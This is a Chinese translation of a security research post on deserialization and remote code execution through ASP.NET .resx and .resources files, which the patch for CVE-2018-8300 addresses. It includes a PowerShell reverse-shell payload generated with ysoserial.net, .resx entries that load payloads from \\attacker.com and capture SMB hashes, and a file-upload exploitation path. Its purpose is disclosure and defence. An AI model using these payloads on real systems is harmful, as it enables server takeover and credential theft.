

[登录](#)

ASP.NET资源文件（.RESX）与反序列化的恶意利用

[Pinging](#) / 2019-02-28 07:50:00 / 浏览数 1321 [技术文章](#) [翻译文章](#) [顶\(0\)](#) [踩\(0\)](#)

2018

ASP.NET应用程序中的资源文件通常用于本地操作。它们可用于存储用户界面对象或字符串，并可以轻松地语言转换工作。这些资源文件使用.resx扩展名。这些.resx文件可以进行编译以供应用程序使用。编译后的文件修改扩展名为.resources。








这些资源文件是XML格式，但它们可以包含序列化对象。二进制对象可以序列化并以.64文件格式存储在base64编码格式中。资源支持BinaryFormatter、SoapFormatter和TypeConverters，它们都可以被利用进行反序列化以便加载外部文件。有关资源文件的Microsoft的更多信息可以在[在线帮助](#)中找到。

由于过去已经提到过.resx文件中的反序列化问题，因此这篇博文旨在更详细地讨论这种攻击方法，以提高对它的认识。

本研究使用的分析灵感来自于AlvaroMuñoz和Oleksandr Mirosh撰写的白皮书，截止到周五已经有13次JSON攻击发生。

补丁与现存问题

我最初在2018年1月向Microsoft报告了资源文件（.resx和.resources）中的一些反序列化问题。在2018年7月，由于不安全地处理资源文件，微软向许多产品发布了补丁■
CVE-2018-8300■，例如SharePoint和Visual Studio。

Name	Date modified	Type	Size
 malicious.resources	17/07/2018 13:04	RESOURCES File	3 KB
 malicious.resx	17/07/2018 12:47	RESX File	9 KB
 mycode.cs	17/07/2018 13:02	Visual C# Source f	1 KB
 mycode.exe	17/07/2018 13:04	Application	7 KB
 mycode2.exe	26/07/2018 22:13	Application	7 KB
 test.resources	26/07/2018 22:13	RESOURCES File	3 KB
 test.resx	26/07/2018 22:13	RESX File	9 KB

这里是详细的[动态图片](#)。

自2018年7月份补丁以来，我们就无法在Visual Studio中直接打开具有Web标记（MOTW的.resx和.resources文件。当MOTW存在时，resgen.exe工具也会显示错误，而winres.exe工具始终显示警告消息。值得注意的是，从压缩文件中提取或由IE或Edge之外的浏览器下载的资源文件可能没有MOTW，应该小心处理。

Microsoft Developer

Network■MSDN■中的System.Resources命名空间文档也已更新，包括ResourceManager，ResourceReader和ResourceSet方法的安全说明：

“使用不受信任的数据调用此方法存在安全风险。请使用受信任的数据调用类中的方法。有关更多信息，请参阅“不受信任的数据安全风险”。

应该注意，System.Resources方法尚未更改。

因此，所有使用ASP.NET库来读取，编译或反编译资源文件的应用程序若接受用户提供的资源，则可能受到攻击。

System.Resources命名空间是如何受到影响的？

由于无法事先确定资源文件中的序列化对象类型，因此我们无法通过不安全的反序列化来防止代码执行。

虽然使用BinaryFormatter可以进行适当的防护。由于SoapFormatter或TypeConverters可以用作替代方法，所以我们无法防御所有的攻击。

资源文件还可使用UNC路径指向本地文件或共享资源。处理这些文件时可能会导致■■■■或SMB■■■■的情况。

当客户端工具成为目标时，SMB■■■■的风险可能会更高。

由于.resx文件是基于XML的，因此在使用普通XML库读取资源文件时，自定义解析器可能容易受到XML■■■■■XXE■■■■■

但是，默认情况下，`ResXResourceReader`类使用不处理文档类型定义（DTD）部分的`XmlTextReader`。

技术细节

我们可以使用数据和元数据标记的`mimetype`属性在资源内反序列化对象。此外，`type`属性可用于使用`TypeConverters`反序列化对象。

BinaryFormatter和SoapFormatter反序列化

`BinaryFormatter`和`SoapFormatter`反序列化在以下情况下，使用`BinaryFormatter (System.Runtime.Serialization.Formatters.Binary.BinaryForma`

- `mimetype`属性为数据标记提供空值。

`mimetype`属性是以下数据或元数据标记的属性之一：

`application/x-microsoft.net.object.binary.base64`

`text/microsoft-urt/psuedoml-serialized/base64`

`text/microsoft-urt/binary-serialized/base64`

在以下情况下，使用`SoapFormatterSystem.Runtime.Serialization.Formatters.Soap.SoapFormatter`对资源文件中的对象进行反序列化：

`mimetype`属性是数据或元数据标记的以下属性之一：

`application/x-microsoft.net.object.soap.base64`

`text/microsoft-urt/soap-serialized/base64`

基于源代码，`SoapFormatter`并不通过`System.Web`使用。但是，其仍然可以通过将资源文件上传到ASP.NET Web应用程序的资源文件夹中来执行此操作。

`ysoserial.net`项目可用于生成payload，而可以忽视反序列化问题。以下示例显示如何生成具有PowerShell反向shell的`BinaryFormatter`有效内容：

```
$command = '$client = New-Object System.Net.Sockets.TCPClient("remote_IP_here", remote_PORT_here);$stream = $client.GetStream(
```

```
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
```

```
$encodedCommand = [Convert]::ToBase64String($bytes)
```

```
./ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "powershell.exe -encodedCommand $encodedCommand"
```

然后可以在资源文件中使用生成的payload，如下所示：

[Resource file default scheme and headers redacted]

```
<data name="test1_BinaryFormatter" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[BinaryFormatter payload goes here without the square brackets]</value>
</data>
```

通过TypeConverters进行反序列化

资源文件在许多场景中使用`TypeConverters`。但是，使用`CanConvertFrom`方法检查类型是否受支持也很重要。攻击者可以通过查找合适的类文件并使用`ConvertFrom`方法执行代码。有关这些攻击的更多信息可以在白皮书中阅读。

以下方案显示了如何使用这些被完全限定名称后的资源文件中`TypeConverters`方法，并将其作为`type`属性：

- 当`application/x-microsoft.net.object.bytearray.base64`位于`mimetype`时：

```
<data name="test1" mimetype="application/x-microsoft.net.object.bytearray.base64" type="A Fully Qualified Assembly Name Here">
```

它需要一个接受`CanConvertFrombyte[]`类型的类文件。

- 或者，当`mimetype`属性不可用、`type`属性不为null且不包含`System.Byte[]`和`mscorlib`字符串时：

```
<data name="test1" type="A Fully Qualified Assembly Name Here">
<value>String Payload Here</value>
</data>
```

它需要一个接受`CanConvertFrom`中的`String`类型的类文件。

- 或者可以包含使用`System.Resources.ResXFileRef`类型的外部文件路径：

```
<data name="test1" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>UNC_PATH_HERE; A Fully Qualified Assembly Name Here</value>
</data>
```

获取完全限定的程序集名称的类型时，它支持String, Byte[]和MemoryStream类型。

然而这会被滥用以加载包含恶意序列化对象文件。这可以用于绕过对初始资源文件的潜在限制。以下数据标记显示了一个示例：

```
<data name="foobar" type="System.Resources.ResXFileRef">
<value>
\\attacker.com\payload.resx; System.Resources.ResXResourceSet, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=
</value>
</data>
```

ResXFileRef类型也可以通过错误消息来进行文件枚举。也可以通过UNC路径进行SMB哈希劫持。下面是一个例子：

```
<data name="foobar" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>\\AttackerServer\test\test;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</data>
```

在IIS上攻击不安全的文件的上传者

除了允许用户通过提供资源文件来自定义其本地化设置以及用户界面显示资源之外，具有以下特点的文件上传程序也可能受到影响：

可以上传扩展名为.resx或.resources的文件，并且文件可以上传到上传文件夹中的任意目录中。上传文件夹可通过网络访问，并且尚未在上载文件夹中禁用ASP.NET处理程序。

直接在App_GlobalResources或App_LocalResources文件夹上传资源文件可能导致远程代码执行。

这可能会影响不考虑.resx或.resources扩展名的应用程序。

由于App_GlobalResources目录只能位于应用程序的根目录下，因此App_LocalResources文件夹更容易受到此攻击。

攻击者可以将恶意资源文件(.resx或.resources)上传到上传文件夹中的App_LocalResources文件夹，然后从上传文件夹中调用ASP.NET文件（不需要存在）来执行任意代码。

我们可以使用resgen.exe工具编译.resx文件以创建.resources。应该注意，漏洞利用代码也将在编译过程中执行。

如果尚未在IIS服务器上创建文件夹，攻击者可能可以使用App_LocalResources::\$Index_allocation或App_LocalResources:\$i30:\$Index_allocation创建文件夹。有关此技术的更多信息，请参阅OWASP.org。

以下文件和目录树显示了成功上传文件的示例：

```
|_ wwwroot
   |_ MyApp
      |_ Userfiles
         |_ App_LocalResources
            |_ test.resx
```

现在，通过打开/MyApp/Userfiles/foobar.aspx页面，可以在Web服务器上执行代码。test.resx文件可以用其编译版本(test.resources)替换。foobar.aspx文件不需要存在于服务器上。

结论

没有足够的验证过程请不要相信任何资源文件。

如果资源文件包含字符串值，建议解析.resx文件并使用简单的XML读取值，而不要輕易处理DTD部分。

然后可以安全地处理通用类型数据，而无需支持反序列化，类型转换器和文件引用。

为了保护文件上传程序，请确保在上载文件夹中禁用ASP.NET扩展文件，并使用白名单验证方法，但不包括.resx和.resources扩展名。更多建议可以在OWASP.org上找到。

参考引用

- [1] <https://msdn.microsoft.com/en-us/library/ms247246.aspx>
- [2] [https://msdn.microsoft.com/en-us/library/ekyft91f\(v=vs.85\).aspx.aspx](https://msdn.microsoft.com/en-us/library/ekyft91f(v=vs.85).aspx.aspx)
- [3] <https://docs.microsoft.com/en-us/dotnet/framework/resources/working-with-resx-files-programmatically>
- [4] <https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization>
- [5] <https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf>
- [6] <https://portal.msrc.microsoft.com/en-us/security-guidance/acknowledgments>
- [7] <https://www.nccgroup.trust/uk/our-research/technical-advisory-code-execution-by-unsafe-resource-handling-in-multiple-microsoft-products/>
- [8] [https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/compatibility/ms537628\(v=vs.85\)](https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/compatibility/ms537628(v=vs.85))
- [9] <https://docs.microsoft.com/en-us/dotnet/framework/tools/resgen-exe-resource-file-generator>
- [10] <https://docs.microsoft.com/en-us/dotnet/framework/tools/winres-exe-windows-forms-resource-editor>
- [11] [https://msdn.microsoft.com/en-us/library/system.resources\(v=vs.110\).aspx.aspx](https://msdn.microsoft.com/en-us/library/system.resources(v=vs.110).aspx.aspx)
- [12] <https://www.nccgroup.trust/uk/our-research/technical-advisory-code-execution-by-viewing-resource-files-in-net-reflector/>
- [13] <https://github.com/icsharpcode/ILSpy/issues/1196>
- [14] <http://referencesource.microsoft.com/#System.Windows.Forms/winforms/Managed/System/Resources/ResXDataNode.cs,459>
- [15] <https://github.com/pwntester/ysoserial.net>
- [16] https://www.owasp.org/index.php/Unrestricted_File_Upload

■■■■■■■■■■<https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/august/aspnet-resource-files-resx-and-des>

点击收藏 | 2 关注 | 1

[上一篇：Red Team Techniqu...](#) [下一篇：简单的安卓漏洞挖掘学习（一）](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

社区小黑板

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)